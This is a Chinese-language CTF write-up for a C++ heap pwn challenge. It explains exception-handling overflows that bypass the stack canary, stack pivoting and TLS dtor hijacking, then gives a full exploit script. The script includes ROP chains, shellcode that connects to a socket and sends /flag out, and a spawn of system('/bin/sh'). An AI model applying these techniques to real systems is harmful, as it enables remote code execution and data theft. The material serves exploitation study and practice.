知识点

  1. 溢出漏洞在异常处理中的攻击利用手法
  2. magic gadget
  3. tls劫持

分析

  • 明显的溢出

  • 溢出可以通过异常处理来绕过覆盖canary造成的影响,可参考溢出漏洞在异常处理中的攻击利用手法

  • 程序本身里有两个catch块,一个位于main中,一个位于destructor函数中。并且destructor函数最后通过leave;retn返回,并且rbp也已经覆盖为我们输入的地址,自然可以利用栈迁移。

方法一:堆上rop

  • 调用destructor函数最终会关闭输入输出流,所以我们rop的时候还得通过socket连接来输出flag

  • 首先通过show功能来泄露出堆地址。
  • 然后是rop链的构造,pwn题开头一般都有setvbuf(stdin/stdout/stderr,0,2,0)无缓存处理,并且已知elf基址,bss段上的这三个指针都是libc相关地址,可以适当利用gadget算出来想跳的地址。
  • 构造好mprotect函数以及相关参数后,再通过socket输出flag。

方法二:栈上rop(非预期)

  • 因为main里面做了catch,所以throw出来的exception不会导致程序退出,exception被catch之后,第一个执行的是__cxa_begin_catch,该函数会返回一个指向对象的指针,随后被存入以rbp为基址的内存中。我们可以通过适当的rbp将该指针存入题目构造的堆数据结构中,通过一定的字节错位从而修改已经申请的其它堆数据结构,达到任意地址读写。
  • 我们可以通过任意读来泄露tls结构体中的canary的值,再任意地址读泄露libc,即可完成栈上rop

方法三:tls劫持(非预期)

细节

  • tls结构体每台机器的偏移可能不大一样,需要爆破一定的偏移,所幸的是,tls开头8字节指向它本身,我们可以以此为判断依据。

exp

#!/usr/bin/python3
# -*- encoding: utf-8 -*-

from pwncli import *
context(arch='amd64', os='linux', log_level='debug')
# use script mode
cli_script()

# get use for obj from gift
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

def add():
    sla(b"Now input your choice: ",b'1')

def edit(idx,offest,cont):
    sla(b"Now input your choice: ", b'2')
    sla(b"To write object, input idx: ",str(idx))
    sla(b"Now data offset: ",str(offest))
    sla(b"Now input your data: ",cont)

def show(idx):
    sla(b"Now input your choice: ", b'3')
    sla(b"Which one do you want to read?",str(idx))

def free(idx):
    sla(b"Now input your choice: ", b'4')
    sla(b"Which one do you want to destroy?",str(idx))

#rop

bss_addr=0x406080+0x400
main_addr=0x402CFD
stderr_addr=0x4061A0
stdin_addr=0x406050
stdout_addr=0x406040

add()#0
add()#1

free(0)
free(1)
add()#0
add()#1
add()#2
show(1)
ru(b"Data: ")

heap_addr=(u64_ex(rl()[:-1])<<12)+0xed0
log_address_ex2(heap_addr)

pop_rbp=0x00000000004022dd

'''
0x00000000004022dc : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
'''
magic_addr=0x00000000004022dc
jmp_rax=0x402DBE
'''
.text:0000000000402FEC 48 8B 45 E8                   mov     rax, [rbp-0x18]
.text:0000000000402FF0 48 8B 00                      mov     rax, [rax]
.text:0000000000402FF3 EB 70                         jmp     short loc_403065
.text:0000000000403065 48 83 C4 10                   add     rsp, 10h
.text:0000000000403069 5B                            pop     rbx
.text:000000000040306A 41 5C                         pop     r12
.text:000000000040306C 5D                            pop     rbp
.text:000000000040306D C3                            retn
'''
mov_add_pop_rbp=0x0000000000402FEC
pop_rbx_r12_rbp=0x403069

pop_rdi=0x0000000000027765
pop_rsi=0x0000000000028f19
pop_rdx=0x00000000000fdcfd
payload=[
    pop_rbx_r12_rbp,pop_rsi-libc.symbols['_IO_2_1_stdin_'],0,stdin_addr+0x3d,
    magic_addr,
    pop_rbx_r12_rbp,pop_rdi-libc.symbols['_IO_2_1_stdout_'],0,stdout_addr+0x3d,
    magic_addr,
    pop_rbx_r12_rbp,pop_rdx-libc.symbols['_IO_2_1_stderr_'],0,stderr_addr+0x3d,
    magic_addr,
    #pop rsi
    pop_rbp,heap_addr+0x18+0x90,
    mov_add_pop_rbp,stdin_addr,
    0,0,0,0,jmp_rax,
    0x20000,
    #pop rdi
    pop_rbp,heap_addr+0x18+0xe0,
    mov_add_pop_rbp,stdout_addr,
    0,0,0,0,jmp_rax,
    heap_addr&0xfffffffffffff000,
    #pop rdx
    pop_rbp,heap_addr+0x18+0xe0+0x50,
    mov_add_pop_rbp,stderr_addr,
    0,0,0,0,jmp_rax,
    0x7,
    #mprotct
    pop_rbx_r12_rbp,libc.symbols['mprotect']-pop_rdx,0,stderr_addr+0x3d,
    magic_addr,
    pop_rbp,heap_addr+0x18+0xe0+0x50+0x50+0x28,
    mov_add_pop_rbp,stderr_addr,
    0,0,0,0,jmp_rax,
    heap_addr+0x230
]
print(len(payload))
for i in range(len(payload)):
    off=0
    while (payload[i]>>off*8)&0xff==0:
        off+=1
        if off==8:
            break
    edit(1, i*8+off, p64_ex(payload[i]>>off*8))

shellcode=asm(shellcraft.connect('127.0.0.1',4444,'ipv4'))
shellcode+=asm(shellcraft.open("/flag",0))
shellcode+=asm(shellcraft.read(1,heap_addr,0x50))
shellcode+=asm(shellcraft.write(0,heap_addr,0x50))
edit(0,0,shellcode)
edit(2,0,b'a'*0x208+p64_ex(heap_addr-8)*4+p64_ex(0x40237F))

#canary

add()#0
free(0)
add()#0

show(0)
ru(b"Data: ")

heap_addr=((u64_ex(rl()[:-1])-0x11)<<12)
log_address_ex2(heap_addr)

edit(0,0,b'a'*0x208+p64_ex(heap_addr+0x11eb0+0x18)*3+p64_ex(heap_addr+0x11eb0+0x18)[:-1])
show(0)

libcpp_base=recv_current_libc_addr()-0x20c270
log_address_ex2(libcpp_base)

add()#1
edit(0,0x50,p64_ex(elf.got['alarm']))
show(1)
set_current_libc_base_and_log(recv_current_libc_addr(libc.symbols['alarm']))

edit(0,0x50,p64_ex(libc.symbols['_rtld_global']))
show(1)

ld_base=recv_current_libc_addr(0x32020)
log_address_ex2(ld_base)
#fs_base=ld_base-0x1258c0
#remote
fs_base=ld_base-0x501000+0x740

edit(0,0x50,p64_ex(fs_base+0x29))
show(1)

ru(b"Data: ")
canary=u64_ex(r(7))<<8
log_address_ex2(canary)

CG.set_find_area(find_in_libc=True)

payload=b'\x00'*0x208+p64_ex(canary)*4+p64_ex(CG.pop_rdi_ret()+1)+p64_ex(CG.pop_rdi_ret())+p64_ex(next(libc.search(b'/bin/sh')))+p64_ex(libc.symbols['system'])
edit(0,0,payload)

#劫持tls结构体

add()#0
free(0)
add()#0

show(0)
ru(b"Data: ")

heap_addr=((u64_ex(rl()[:-1])-0x11)<<12)
log_address_ex2(heap_addr)

edit(0,0,b'a'*0x208+p64_ex(heap_addr+0x11eb0+0x18)*3+p64_ex(heap_addr+0x11eb0+0x18)[:-1])
show(0)

libcpp_base=recv_current_libc_addr()-0x20c270
log_address_ex2(libcpp_base)

add()#1
add()#2
add()#3
edit(0,0x50,p64_ex(elf.got['alarm']))
show(1)
set_current_libc_base_and_log(recv_current_libc_addr(libc.symbols['alarm']))

edit(0,0x50,p64_ex(libc.symbols['_rtld_global']))
show(1)

ld_base=recv_current_libc_addr(0x32020)
log_address_ex2(ld_base)
fs_base=ld_base-0x1258c0
#remote
#fs_base=ld_base-0x501000+0x740

edit(0,0x50,p64_ex(fs_base+0x30))
show(1)

ru(b"Data: ")
fs_key=u64_ex(r(8))
log_address_ex2(fs_key)
CG.set_find_area(find_in_libc=True)

enc_addr = ((libc.symbols['system'] ^ fs_key)<<0x11)&0xfffffffffffe0000
enc_addr += ((libc.symbols['system']^ fs_key)>>0x2f)&0x1ffff

log_address_ex2(enc_addr)

edit(3,0,p64_ex(enc_addr))
edit(3,8,p64_ex(CG.bin_sh()))

edit(0,0x50,p64_ex(fs_base-0x78))
edit(0,0x58,p64_ex(0x10))
edit(1,0,p64_ex(heap_addr+0x12400+0x230))

ia()

参考

  1. 溢出漏洞在异常处理中的攻击利用手法
  2. glibc2.35后门执行研究:tls_dtor_list攻击劫持exit执行流程
  3. 官方题解
  4. NCTF wp



追求现实的理想主义者。